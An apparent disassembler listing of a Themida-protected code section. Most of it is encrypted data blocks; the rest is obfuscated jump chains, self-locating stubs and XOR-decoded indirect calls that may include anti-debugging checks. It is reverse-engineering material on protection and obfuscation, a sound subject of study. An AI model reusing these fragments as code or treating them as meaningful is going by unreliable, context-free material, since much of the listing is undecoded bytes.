		db 1Ah
; ---------------------------------------------------------------------------
		enter	0FFFF922Bh, 13h


loc_5AB52C:				; CODE XREF: Themida_:005AB519j
		jmp	loc_5AB539
; ---------------------------------------------------------------------------
		db 0EDh, 9Eh, 18h
		dd 0F259960Bh
		db 44h
; ---------------------------------------------------------------------------


loc_5AB539:				; CODE XREF: Themida_:loc_5AB52Cj
		jmp	loc_5AB4DF
; ---------------------------------------------------------------------------
		dw 0EA32h
		dd 61003552h, 0AF766A57h, 94729E47h, 414AED47h
; ---------------------------------------------------------------------------


loc_5AB550:				; CODE XREF: Themida_:005AB522j
		jmp	loc_5AB5ED
; ---------------------------------------------------------------------------
		db 55h,	14h, 0F7h
		dd 9456h, 500h,	100h, 0A2800h, 200h, 20h dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5AB5ED:				; CODE XREF: Themida_:loc_5AB550j
		jmp	loc_5AC14E
; ---------------------------------------------------------------------------
		push	61602FEh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6160411h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61604DCh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6160569h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61606E4h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6160764h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6160A43h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6160B74h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dw 0AB5Bh
		dd 0BF65F468h, 0A045D488h, 0BF64F367h, 9D4FC682h, 80FCEA5Eh
		dd 0EB5F9E52h, 0C478B96Ch, 0E2569135h, 0C377AC53h, 8D35F4C8h
		dd 696BDA7Dh, 7932C08Ch, 0DE5044h, 0CC7CB909h, 89C7286Dh
		dd 6A05F68Ch, 1AA1B6B2h, 23803C71h, 76354794h, 67FC8155h
		dd 6FC1B5B1h, 7289A91h,	50CC943Ch, 736907Bh, 9ED5943Ch
		dd 0AF0FE207h, 0BC7F397Ah, 57F9CE03h, 4Ah, 1EBD5CB5h, 7C745D4Ch
		dd 969267FCh, 27C990EAh, 0B35F984Dh, 0CDB693AFh, 943C7C71h
		dd 3CE81DC6h, 0F8ACEB9Dh, 0CC0BBD7Ch, 67FEA5D8h, 0AED0B059h
		dd 3C7C47FBh, 4C39F94h,	0F1752160h, 4DA847DCh, 397B3584h
		dd 0AA64h, 7932A600h, 97395044h, 7D2AC58h, 8B482566h, 0D4F39FD4h
		dd 8342F62Bh, 6DCC00B4h, 2FABE087h, 0D6CAFFA8h,	0D076CAE9h
		dd 371B52FAh, 0F10BE74Bh, 3F1293Ah, 0DD51CD98h,	906A7188h
		dd 0FEC23C9h, 599142E9h, 3759E15h, 1149BA08h, 0E2FE5A9Eh
		dd 609F5108h, 0E1BB6DECh, 2400F42Bh, 4D6A9B40h,	0FAAA4035h
		dd 95AE9h, 4F923400h, 6DA45CDBh, 8AC36AF1h, 67A447CEh
		dd 81C064F3h, 31A3DFCDh, 0D8C407Fh, 189F1B5Ch, 0F4833772h
		dd 0A7A2164Bh, 7E6CD6D5h, 2B886BDAh, 3F7E32A1h,	0B820402Dh
		dd 0D5C18F33h, 10B73EF8h, 5CC95FDBh, 5D4C1EBDh,	67FC7C74h
		dd 28168D92h, 13744941h, 0AA14432Fh, 49943C90h,	935E9B3Ah
		dd 73397A49h, 0F3h, 0DB1ACE8Dh,	826EA35Ch, 3203C99Eh, 0DE504479h
		dd 836FA45Bh, 5F11CA9Fh, 3FFA7420h, 917A4F8Ch, 6DCC00BAh
		dd 35A9DE85h, 5BBFFDA6h, 0D6A40073h, 0B79DA0B7h, 618500D7h
		dd 96956B85h, 9233372Ch, 8F8F6CC8h, 906A1E9Dh, 70F4A0D9h
		dd 0A7C4A054h, 0CF81BF56h, 9F8AE490h, 92333723h, 678B67C3h
		dd 0E71EC695h, 263BEE12h, 9E980341h, 0DA90681Bh, 536FF39Fh
		dd 0D6A88476h, 46236003h, 37A43390h, 8CDC6625h,	3C389E15h
		dd 0C0F59722h, 10F479C9h, 0A5C19D9Eh, 0C9FEB229h, 10F460E2h
		dd 0CCA8849Eh, 34F0DC1Fh, 73643040h, 847h, 7A2E7121h, 9A0E45FBh
		dd 0B12D661Bh, 9448852Ah, 0A8246305h, 701446C2h, 4BFE7D31h
		dd 23C74E0Ah, 3EE574E8h, 665A5509h, 0DA781FA3h,	32FAF76Bh
		dd 34367E32h, 0EB7D2B8Fh, 7EFFF6E3h, 47401958h,	7F28AF2Bh
		dd 32F88E4Ah, 39504479h, 84E15D92h, 95946675h, 67F67D1Bh
		dd 16A5B7B3h, 0C584386Dh, 942583EDh, 0EE6A718Ch, 5D7C7D4Ah
		dd 59926C7Eh, 0B88AA6C9h, 0F09BB00Ah, 9E156573h, 6B1C9793h
		dd 62DC5212h, 3913C84Fh, 0EC33B152h, 2DD95507h,	0C47E2D53h
		dd 2037CC71h, 3FD62744h, 715FE3A6h, 20B737CCh, 0DE422E6Bh
		dd 1D0CDE02h, 3DFB8C3Fh, 0CA916BC7h, 0EE12E726h, 0CB7FB46Bh
		dd 0F95E934Ch, 0E004F0BCh, 7C970014h, 56000007h, 3EBD71B4h
		dd 5CDB4F86h, 69F06CA5h, 46D589C6h, 1E763A2h, 76B55785h
		dd 519233C2h, 6DA85EDDh, 8CC16AF1h, 28E3DDD0h, 6BDA789Ah
		dd 0D7971D7Ah, 7C4002A9h, 0C8A46DCCh, 0FC352B3h, 98C0459Bh
		dd 6105C449h, 3B304A26h, 6302F4h, 6D93682Fh, 0E623C893h
		dd 6A21363Ah, 67F634EEh, 0A9304A26h, 6DD5D405h,	89942634h
		dd 59DDC9ADh, 0A9EEAE74h, 12E7317Dh, 7EB56BEEh,	5E954BCAh
		dd 376C13B2h, 23A5F92h,	0D2C3D34Ah, 6EFh, 72E629C9h, 52063DE3h
		dd 69E51EC3h, 4C003DF2h, 60DC1BCDh, 38EC1E6Ah, 13B645F9h
		dd 2BDF56D2h, 6BD3CF0h,	8E725DD1h, 0DA79279Bh, 5AE2BF6Bh
		dd 875F04D7h, 0AFCCA8E3h, 3A14C74Eh, 0B9EE9524h, 7D6DE7A4h
		dd 4A8367F6h, 0D486F0D5h, 0C3B7949Ah, 1DC69567h, 57D516E8h
		dd 77350060h, 43A01633h, 924923B8h, 0D5F4A0DDh,	0FBD0F433h
		dd 0EC8826E5h, 9F849425h, 0E48555CEh, 0A85C7873h, 25B84401h
		dd 7B1AA994h, 8166337Eh, 0C2AAA339h, 24079128h,	63E48C61h
		dd 26000000h, 2ED496D7h, 23C3A68Bh, 4C21457Eh, 0A3BD1EB9h
		dd 0CC7246E8h, 7559BE6Dh, 0BE47E656h, 22493D19h, 6DCC8CA4h
		dd 31952C47h, 8CE65C4Fh, 92376DCCh, 0D9C9AD59h,	8C1EA467h
		dd 7AF66DCCh, 0F12ADF56h, 39CA23DCh, 113A336Ah,	0F5CF428Ch
		dd 0F2567320h, 0Eh, 5F984D0Ch, 129AAFB3h, 1D840h, 0BA158C00h
		dd 213BA037h, 7CF64C3Fh, 0A2476DCCh, 0C9B9BD69h, 0C168906Dh
		dd 67FC2020h, 40E76AC6h, 448D7728h, 1C16896h, 0E5278951h
		dd 0EB47789h, 0E6278951h, 9106D8Ah, 0F011F8D2h,	962DB934h
		dd 2503A7A4h, 0A0A2C458h, 0F98049F9h, 95B1AD29h, 0D60514E1h
		dd 7D270504h, 83DF23CEh, 0F83CF269h, 3AAABB5h, 54795D8Fh
		dd 1368D4EBh, 647C510Ah, 45F92ED5h, 73D80DB6h, 8DCAECCAh
		dd 7439AA7Ah, 4E000005h, 56E5599Ch, 34C377AEh, 61D8548Dh
		dd 3EBD71AEh, 998F4B8Ah, 0E4DFF6Dh, 296A1B9Ah, 458026B5h
		dd 24591289h, 0D0BBC5A8h, 6BDA7A72h, 328F1592h,	0AF2A4479h
		dd 0FDA9BEFDh, 10EAF108h, 0FC0C0C19h, 7013AA67h, 0B8A30633h
		dd 0B27AAEBCh, 1E401A8Eh, 7FF94940h, 411D9423h,	237FE85Ah
		dd 833FEA94h, 6394237Fh, 66251707h, 94237FDCh, 43183C38h
		dd 2D9ACF78h, 4A077B06h, 0F4697A2Ah, 0CE000004h, 0D665D91Ch
		dd 0B443F72Eh, 0E158D40Dh, 0BE3DF12Eh, 190FCB0Ah, 8ECD7FEDh
		dd 0A9EA9B1Ah, 0C500A635h, 0A4D99209h, 503B4528h, 6BDA7BF2h
		dd 320F9512h, 39504479h, 5D835D92h, 0CC7C14AEh,	5774F06Dh
		dd 32D1F2A7h, 0A3174CF3h, 0F4E02B9h, 35EAFF63h,	336B29DCh
		dd 2ABCh, 4D70E00h, 0BA4B2061h,	0FBAEC01Bh, 67FC2B76h
		dd 0B9E09490h, 9423AD0Dh, 9A3CD3F0h, 192E6D1Fh,	7B648B66h
		dd 536B39h, 0D7E10000h,	6E225F04h, 7188D5F2h, 906E906Ah
		dd 0CC7C2999h, 2548CD6Dh, 6DE3AE0h, 968D6A86h, 67FCA0ADh
		dd 4813ED49h, 36F569A0h, 943C6789h, 0CFBAE59Eh,	943C6773h
		dd 0C45FC93h, 1C381C18h, 0A17319A0h, 63BFB3ECh,	2299937Fh
		dd 0AA173469h, 41Fh, 15BD5C22h,	4F3A862Ch, 6DCC7BF3h, 56321713h
		dd 95CE73BDh, 0A5BB95B1h, 0CCA15CE6h, 6C21B86Dh, 263A0F33h
		dd 0FCDBC663h, 30E44067h, 0D969203Eh, 76943CAFh, 7FDB93D2h
		dd 53AF16Ah, 37025E11h,	9F845992h, 2FAC4B00h, 0D5CD6E1Dh
		dd 3D399E0Ch, 1C51FA81h, 9E431668h, 98B5B165h, 0DF92AE45h
		dd 1A8C29Eh, 941CD408h,	259D8CDEh, 0C1801CD4h, 3958165h
		dd 9750D170h, 7A99E662h, 0AE61FC6h, 0A45039F0h,	3A368A2Ch
		dd 63984F46h, 0F78E25AFh, 401AC158h, 3C9B2049h,	0CE8AE680h
		dd 0AB1712ECh, 4B8C7CFBh, 8A41FACFh, 862AA155h,	604B3547h
		dd 8C7CFBE2h, 55512602h, 4BEA891Ah, 11EB5F94h, 0BB67A64Ah
		dd 0FB78CAC1h, 0C09C8C7Ch, 9F36C7A4h, 95B1EEA1h, 9A3BD0BBh
		dd 32A9864Ch, 0CE523E7Fh, 0DB9209F9h, 0B372EEA2h, 462AD60Dh
		dd 0A85F762Ah, 5E157F73h, 6A7188C7h, 7BB6E90h, 18B66C1Ah
		dd 0E84C3871h, 67223C38h, 0B66C1ADBh, 0F60ADF3Bh, 5C7BC633h
		dd 8C4A0BCh, 0F1A5DA91h, 40FC31DAh, 0F507D4E3h,	6C541536h
		dd 8175F1B2h, 4C4C6CDAh, 5DF48FA2h, 0EAFA5598h,	0F09BC563h
		dd 0A24C5452h, 2FA1B6B2h, 3Ah, 0A6E78A51h, 0CB6176FAh
		dd 0E283BD5Ch, 0ABC5A1h, 67FC7CD3h, 28253733h, 0B6B65EA1h
		dd 0D5D1A6B0h, 23473886h, 9A8DB94h, 7BFB21ECh, 21CA9139h
		dd 1F3C38ECh, 0E4A9h, 0A9D72300h, 53427B32h, 6DCC7CEFh
		dd 9EDB9007h, 75526EF2h, 24D005BEh, 9FDC8F4Ah, 0E15A6FF3h
		dd 0EDDEF02Fh, 0ADB9D49Eh, 0E4A2B76Ah, 1D093EE5h, 1C90C57Eh
		dd 0CC9B5E6Dh, 0EC2AE16Dh, 69209152h, 6DCCD5D9h, 0A3FCE13Dh
		dd 219DB978h, 0C8BCF19Ah, 0C064DCFBh, 758B6581h, 1C083DE6h
		dd 83484318h, 4367FCE4h, 70E73E7h, 0AD599639h, 0D8D3ADC9h
		dd 9E0A6CE2h, 85542602h, 0B128A4E3h, 261BC0FFh,	0EE403667h
		dd 215AD36h, 3FEF0000h,	13B940FCh, 34D960DCh, 13B83FFBh
		dd 31D362D6h, 345036F2h, 67E322C6h, 40FC3DF0h, 5EDA15B9h
		dd 3FFB30D7h, 9B9704Ch,	0ED6BDA76h, 7E3224F0h, 2AB18B3Fh
		dd 0DC584C81h, 7CBB0702h, 0FF5B6DCCh, 85BA71EAh, 2C96956Bh
		dd 0C86DCC7Ch, 0F5C78F6Ch, 7D22DAF8h, 0ACC1729Fh, 1EBD5C20h
		dd 8D4C324Ch, 8DE99DDAh, 0CC7C249Eh, 8764C06Dh,	0FC7CB79Ch
		dd 0F9D34F67h, 0F19E66D4h, 30A75BBDh, 79254277h, 23E89432h
		dd 42F97794h, 0A4775489h, 0A225E80Dh, 0DF05397Bh, 47000000h
		dd 83DB96D7h, 57251184h, 0E712B982h, 0CC039E24h, 0BDFEAF6Dh
		dd 0B9B56DC9h, 35EE4A7h, 0BAB66DCCh, 39EBEA96h,	0B359E0FAh
		dd 0CFAC887Ch, 7FB188CFh, 0E18A6DCCh, 0B599D2ACh, 0A687A629h
		dd 271EF4D9h, 55FE0B39h, 5DDCBE78h, 21B86CABh, 390E326Dh
		dd 0E094C982h, 0ECE10413h, 4A19363Eh, 0D36F169Ch, 336DCCBAh
		dd 4A411B37h, 67FCC981h, 0D617E945h, 9C1AF941h,	2FA7C423h
		dd 0C69843D2h, 0AEF16C3h, 9AB4B09Eh, 7A2E6D1Fh,	5D0A49FBh
		dd 4035D1E2h, 0E4EDF6AEh, 0BE000000h, 8615C90Ch, 0A433A7DEh
		dd 9108C4FDh, 0AE2DA1DEh, 9FFBBFAh, 9EDD8FFDh, 0B9FAAB2Ah
		dd 95D07605h, 0B4E9A219h, 802B15F8h, 6BDA77C2h,	32FFC522h
		dd 0B18B3F7Eh, 5B47862Ah, 4DF106CEh, 0FAD6DA92h, 78AD56DDh
		dd 793226C4h, 92395044h, 6DC5F254h, 7D597D07h, 865564C1h
		dd 0E237B574h, 53CF67F6h, 0D30AC279h, 6176AB54h, 487D26A5h
		dd 792FAA94h, 0F8D24E42h, 26E2B111h, 4D95594h, 0A75B9037h
		dd 0C78B0300h, 9F0025h,	7C3F6A21h, 7EE28EC3h, 0C5F92B97h
		dd 734FCBC4h, 528740B7h, 0EE9FCC9Eh, 31566572h,	0C166ED0Ah
		dd 0D8279B8Eh, 6DBFC4C5h, 0C5D804BEh, 6084E0C4h, 95946A84h
		dd 0C4C5D82Dh, 8E906DC9h, 4FD66D04h, 70E76398h,	58E82B7h
		dd 0Fh,	5B04D777h, 0E1F67A26h, 3CF26987h, 3260EC01h, 52493D80h
		dd 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh, 26A55190h
		dd 39504481h, 30A75B94h, 0CF554178h, 61BD68h, 243C8900h
		dd 5EF968h, 24148900h, 2A1A68h,	240C8900h, 0BEBA5257h
		dd 891E2406h, 95BA5AD7h, 29243A08h, 8B545FFAh, 0C483240Ch
		dd 4EC8104h, 89000000h,	0D6892434h, 5E087189h, 592434FFh
		dd 4C481h, 148B0000h, 0E1895124h, 4C181h, 0C1810000h, 4
		dd 5C240C87h, 0FA738BE9h
		db 0FFh, 4Ch
; ---------------------------------------------------------------------------


loc_5AC14E:				; CODE XREF: Themida_:loc_5AB5EDj
		mov	eax, 6160C7Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0EEh
; ---------------------------------------------------------------------------
		jno	short loc_5AC1B6
		xor	al, 80h
		retn
; ---------------------------------------------------------------------------
		mov	dh, [esi+73h]
		retf	543Ah
; ---------------------------------------------------------------------------
		db 36h
		dd 0DE445D84h, 4A6636C5h, 941F2C59h, 1F6A9743h,	9A278E6Ah
		dd 0EB2362ACh, 24h, 8 dup(0)
		dd 0BDE900h
		db 2 dup(0)
word_5AC1A6	dw 0B589h		; DATA XREF: Themida_:0054DC10o
		dd 6160D12h, 2209858Bh,	858B0610h
		db 0A1h, 1Fh
; ---------------------------------------------------------------------------


loc_5AC1B6:				; CODE XREF: Themida_:005AC158j
		adc	[esi], al
		lea	esi, [ebp+6160D5Ch]
		lea	eax, [ebp+61354E6h]
		call	eax
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6160D62h
		cmp	dword ptr [ebp+6102209h], 1
		jnz	loc_5AC20D
		push	dword ptr [ebp+6160D12h]
		mov	eax, [ebp+6101FA1h]
		xor	eax, 34812736h
		call	eax
		cmp	al, 1
		jnz	loc_5AC206
		mov	eax, 1
		jmp	loc_5AC24D
; ---------------------------------------------------------------------------


loc_5AC206:				; CODE XREF: Themida_:005AC1F6j
		xor	eax, eax
		jmp	loc_5AC24D
; ---------------------------------------------------------------------------


loc_5AC20D:				; CODE XREF: Themida_:005AC1DBj
		push	1Ch
		lea	esi, [ebp+6160D16h]
		push	esi
		push	dword ptr [ebp+6160D12h]
		mov	eax, [ebp+6101FA1h]
		xor	eax, 34812736h
		call	eax
		add	esp, 0Ch
		lea	esi, [ebp+6160D16h]
		mov	eax, [esi+14h]
		and	eax, 4
		cmp	eax, 4
		jz	loc_5AC248
		xor	eax, eax
		jmp	loc_5AC24D
; ---------------------------------------------------------------------------


loc_5AC248:				; CODE XREF: Themida_:005AC23Bj
		mov	eax, 1


loc_5AC24D:				; CODE XREF: Themida_:005AC201j
					; Themida_:005AC208j ...
		cmp	dword ptr [ebp+6102209h], 1
		jnz	loc_5AC261
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5AC263
; ---------------------------------------------------------------------------


loc_5AC261:				; CODE XREF: Themida_:005AC254j
		pop	ebp
		iret
; ---------------------------------------------------------------------------


loc_5AC263:				; CODE XREF: Themida_:005AC25Cj
		lea	eax, [ebp+6160D3Bh]
		mov	[ebp+61027A5h],	eax
		lea	ecx, [ebp+6160EDBh]
		mov	[ebp+6102F89h],	ebx
		mov	[ebp+61009F5h],	ecx
		mov	bl, al
		push	ebx
		movzx	edi, cx
		pop	esi
		mov	dword ptr [ebp+6102319h], 7344h
		mov	dword ptr [ebp+61022C1h], 0
		push	0
		push	edx
		call	sub_5AC2A7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC2A7	proc near		; CODE XREF: Themida_:005AC29Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5AC2A7	endp

; ---------------------------------------------------------------------------
		db 16h
		dd 0EE97420h, 0C4000000h, 498C27D1h, 0EEA11E32h, 7663CC5h
		dd 4ADB8036h, 8A1B5FFh,	6A0610h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0BB0665C3h, 7E8F4B88h
		dd 66C03C5Fh, 25EACE81h, 2DB995FFh, 6A0610h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 82235DC3h
		dd 62B61EC1h, 0DE962h, 83CE0000h, 0FCFF4C8Eh, 0A95BF03Ah
		dd 6651B2CCh, 6AFC71B8h, 0C995FF00h, 8B061031h,	915FEBC0h
		dd 23E1B23Ch, 50801526h, 0DA82D2E3h, 69F3D338h,	2FBF9D53h
		dd 68286FF9h, 0EE888882h, 74C66E2Eh, 67F79287h,	883301ABh
		dd 8BE543D3h, 0DE7EAC52h, 6BB26E82h, 0AFE01D05h, 261C9981h
		dd 0CD3E3598h, 0CC1014AFh, 4610F6Bh, 0A8404E54h, 0E45FB6C5h
		dd 9624793h, 8029B6C7h,	0D85C824h, 8E8F5BAh, 77000000h
		dd 0D541BA71h, 8B081EFBh, 1007D18Dh, 8B525F06h,	10014595h
		dd 0C7815A06h, 5A4Ch, 0A880Fh, 89600000h, 102F09B5h, 61C78B06h
		dd 166E68h, 10E900h, 0FBB00000h, 562DD5ABh, 64756FDCh
		dd 66663D47h, 335E4919h, 100FE58Dh, 0F5078B06h,	0D06FF081h
		dd 958B49E7h, 6100755h,	9DBBC081h, 8B661B01h, 0A3C081DEh
		dd 23695129h, 100FD995h, 8B078906h, 102F059Dh, 0D6EF8106h
		dd 660A7D9Bh, 0C781DF8Bh, 0A7D9BD2h, 0F4ED98Bh,	0FFFFBC85h
		dd 0B1958BFFh, 8D06102Fh, 1610C58Dh, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 53FFC980h
		dd 0E9D88B5Bh, 13h, 82819643h, 0EF7F0C67h, 84F0BD4Fh, 9AF3EE67h
		dd 89DEB088h, 1009F58Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 83C08D18h, 0D1858B18h
		dd 906101Dh, 1020858Dh,	1985C706h, 0D4061023h, 6A00006Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0C0DFC352h, 0C185C725h, 61022h, 66000000h
		dd 5C79C781h, 0EA5B5FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0C9F42FC3h, 0F2D875BBh
		dd 95FF3BCDh, 6102DB9h,	66C68B60h, 86E5C081h, 0FF006A61h
		dd 1031C995h
; ---------------------------------------------------------------------------


loc_5AC530:				; DATA XREF: Themida_:0054D4F0o
		push	es
		mov	eax, eax
		jmp	short loc_5AC54F
; ---------------------------------------------------------------------------
		db 0F8h, 0D1h, 0F3h
		dd 0CDA63D07h, 5250A9A7h, 91961333h, 0B6CF8418h, 92D9C421h
		db 0E9h, 0CEh, 32h
; ---------------------------------------------------------------------------


loc_5AC54F:				; CODE XREF: Themida_:005AC533j
		jmp	loc_5AC56E
; ---------------------------------------------------------------------------
		dd 0F6E4FF0h, 2430000h,	4 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AC56E:				; CODE XREF: Themida_:loc_5AC54Fj
		jmp	loc_5AD157
; ---------------------------------------------------------------------------
		push	61612AAh
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	61613BFh
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	616154Dh
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	61615FCh
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	61616A6h
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	6161898h
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	616193Eh
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	6161A5Ch
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		push	6161B64h
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		db 0FAh, 0E5h, 33h
		dd 7F398F5Eh, 38EAE3D2h, 90429A6Bh, 26E0F2C3h, 783B0B79h
		dd 0AFBA862h, 75481DD7h, 13E2AF61h, 5B5906C0h, 55DC7B08h
		dd 0DF791DDEh, 46AE8784h, 18B7695Dh, 2C7E276Ah,	5C1D4D0Eh
		dd 0F7464D07h, 74752AE4h, 0BC47B6CEh, 1DD85A26h, 3245B241h
		dd 2311B82Fh, 53A01F73h, 11B82F40h, 0A1B1408Fh,	5B90CAD8h
		dd 0E42062Ah, 0C79B564Dh, 0BE941961h, 4550h, 0C516F100h
		dd 37435226h, 2BC0EE3h,	1A481159h, 8FDC8B62h, 17C84500h
		dd 0FB08A955h, 0D8457270h, 7A19051Dh, 0B844062Dh, 5F1AC911h
		dd 93B91D83h, 37C433BEh, 11B83818h, 6C64513Dh, 3E5F0BB2h
		dd 0E29Eh, 75CE200h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh
		dd 0C39D6A37h, 0B517C849h, 44B7ECA6h, 16EBA5B5h, 0D7830AC4h
		dd 621C2F96h, 34E6DE8Bh, 13C0E18Dh, 9F88CB2h, 2AB657Ch
		dd 0CA037201h, 42705718h, 0D51DD84Eh, 0C89C4E88h, 5428169Bh
		dd 0E990125Dh, 77617CAh, 0A96377D2h, 0A9287C2Ah, 788AAD5Ah
		dd 0DBCB0BA5h, 9E4EE687h, 0F6B0A24Fh, 1C8F0C07h, 6B0BCB58h
		dd 0D548E794h, 610D0BA5h, 42986540h, 35443288h,	6968E216h
		dd 98FD3h, 0EB9DB200h, 571147B6h, 0F0A2BB0Ah, 48FA52A3h
		dd 0FEB8AA1Bh, 9013E351h, 0E2D3803Ah, 8D6035EFh, 0EBDA8739h
		dd 93113EF8h, 56A4B340h, 17B11DDEh, 0A9065C63h,	644F015Ch
		dd 17C844D5h, 93C09480h, 0AF683122h, 712B1E6Bh,	39A13016h
		dd 0C8F9ABCEh, 0A6FAAA17h, 48FDA5FAh, 0DC8B621Ah, 0C845008Fh
		dd 0F897E417h, 5D17C844h, 3122B3B1h, 81822B77h,	0D845F4F6h
		dd 0EC93831Dh, 41FB4E9Bh, 4484A720h, 944B11B8h,	0B7A309D9h
		dd 0C392BE93h, 0D6000000h, 3B5EA95Ah, 1A17C845h, 8FC4416Ah
		dd 6B5FAED5h, 99B342B1h, 24D783D8h, 0C195F1F9h,	484B14C2h
		dd 0C87725FBh, 46005317h, 0FDB7AC19h, 89F685D6h, 17C86DE6h
		dd 0D3DE7F6Fh, 59A8176Fh, 7E2C5305h, 5799E6DDh,	0C01DD87Ch
		dd 341A7FD4h, 83166150h, 0D217CB15h, 0F483F07Fh, 610BA5AAh
		dd 0AB2F42B5h, 9FB70BA5h, 0CB9787EDh, 87F483F4h, 0BA5AAE8h
		dd 0E5E0816Dh, 97663BF5h, 2F338943h, 73E2165Fh,	87A58F0h
		dd 0AA9D0000h, 65AABF8h, 0AFA6174Ch, 0FF55A8FDh, 0B5A5184Dh
		dd 0EED6A6FBh, 287D372Bh, 95CA84D5h, 277C2E28h,	96CB85D6h
		dd 1938C316h, 3C1DDE58h, 65CF6A2h, 0B5A6174Ch, 450025Ah
		dd 75C034Fh, 0E4F7464Dh, 0CD89301Bh, 0F6AA1142h, 531A48A9h
		dd 93CB0CC0h, 5C71A6E1h, 0D7A491Dh, 1DD92EA3h, 0C597824h
		dd 75481DD7h, 0AA669D66h, 0F5F511FFh, 430FC900h, 0D17DEF3Ch
		dd 207398FEh, 0C3CA7CD1h, 944D5617h, 6B38F2E1h,	15927B98h
		dd 697FCD6Bh, 0BF84462Eh, 6E2FE9DFh, 0FAE94497h, 226D1440h
		dd 8A727A0Ch, 0D68F2AB9h, 80322A85h, 54015501h,	49B87261h
		dd 5E184BBAh, 3140B35Fh, 248A727Ah, 4B9C3778h, 7A404F9Ch
		dd 69158A72h, 79A9BF48h, 0DAC98A72h, 0BB75661Fh, 0A73F4744h
		dd 1581B180h, 0B7AC194Ch, 0A7506FDh, 8A72A267h,	0CA43FEEEh
		dd 0F28413B9h, 0F1547F20h, 3DCA394Dh, 90832F63h, 0F8CB9884h
		dd 0A5BD181Bh, 0FCA5D909h, 0BE3549F5h, 1E31BE2Dh, 37846247h
		dd 93A12647h, 0CC8A7268h, 73B6D120h, 2BBDCCD9h,	0EC3B5819h
		dd 4461F07Bh, 8F47E52h,	43CE6067h, 4C037E52h, 1525E291h
		dd 2B41001h, 9574CF7Bh,	0B23071C9h, 51FAA72Ch, 45C1Dh
		dd 0AB5A6500h, 28D6FDB7h, 44F18087h, 54F717C8h,	8C17C855h
		dd 17C838D1h, 0C8314CDFh, 0ACD07E17h, 4F84AA55h, 3ACB1DD8h
		dd 0C17BCF22h, 144014C2h, 3F8A496h, 0DB71F0DCh,	6ECh, 5906B80Fh
		dd 0E5BA746Ch, 560BBD18h, 0E6BB6D67h, 5C09C317h, 459518E8h
		dd 0F2E7D68Bh, 449A6B38h, 0DBF0BD92h, 0E1707421h, 0DE5A0396h
		dd 4F4521Dh, 464D075Ch,	41F87FE3h, 47D92649h, 25D22175h
		dd 1DDEADFBh, 8D13402Ch, 1468D63Dh, 0AB9F4E9Dh,	1957B0F1h
		dd 8D17C2B0h, 8B32E4E0h, 0C6B6BEDFh, 0A463338Eh, 41EDBB03h
		dd 8B39C63Dh, 0B462513Bh, 287C2E27h, 621A48A9h,	398DDC8Bh
		dd 115A0887h, 4156D1B6h, 0BD34E05Ch, 0E1AEC12Eh, 56A75020h
		dd 97434A04h, 2CDEF6CBh, 4BB8F9A5h, 9EF3AD9Eh, 6442FC4Fh
		dd 9D9B28A0h, 3D37CDCCh, 60000006h, 0DE0B567h, 615401BBh
		dd 18E5BA6Ch, 68550ABCh, 99EBB872h, 3AF4E6A9h, 87419865h
		dd 41F3EBDAh, 0F8B2A114h, 4DBA49ABh, 1DDE5A2Ah,	5ADDCD2Bh
		dd 57D10E3Dh, 446DE3C9h, 6FD81ADh, 0D88A0F79h, 0C5CCB81Dh
		dd 5AA96378h, 365F7F3Dh, 0B6646B25h, 0FCDBE3DBh, 180BC0B2h
		dd 0FFA0F4A2h, 4BE655D4h, 4DA4D886h, 0C8DBC8A2h, 420FFF17h
		dd 0A898DE75h, 996F020Bh, 0FF630BA8h, 8C5B3887h, 0D41219BAh
		dd 9DEAD982h, 11BE5DE3h, 1C695844h, 444F10C2h, 923C5BF7h
		dd 3BFF9305h, 0EEDD0592h, 0CEA0B634h, 0E5E4E829h, 5934Fh
		dd 0EFA1B600h, 43FD53A2h, 0F4A69F0Eh, 44F64E9Fh, 0F2AC9E0Fh
		dd 24E7CF9Dh, 0CE1F742Eh, 2194C17Bh, 0D7267B2Dh, 1795CA84h
		dd 5B1837C4h, 0A33D1DDEh, 621A48F7h, 563AE08Bh,	0ED7C1DDEh
		dd 0FA7A23DDh, 2536830Ah, 0DFDE98CAh, 5F38D624h, 0E6BA7C2Ah
		dd 3F13C519h, 0CBAE8F12h, 0F37F8406h, 80FF5358h, 99682231h
		dd 723BF5ECh, 0D791C233h, 0ED4899E8h, 0EE9C23DDh, 7CCE1BA2h
		dd 430FBBC2h, 372C791Ah, 6DEC567Dh, 6072FFB4h, 0CB0005A6h
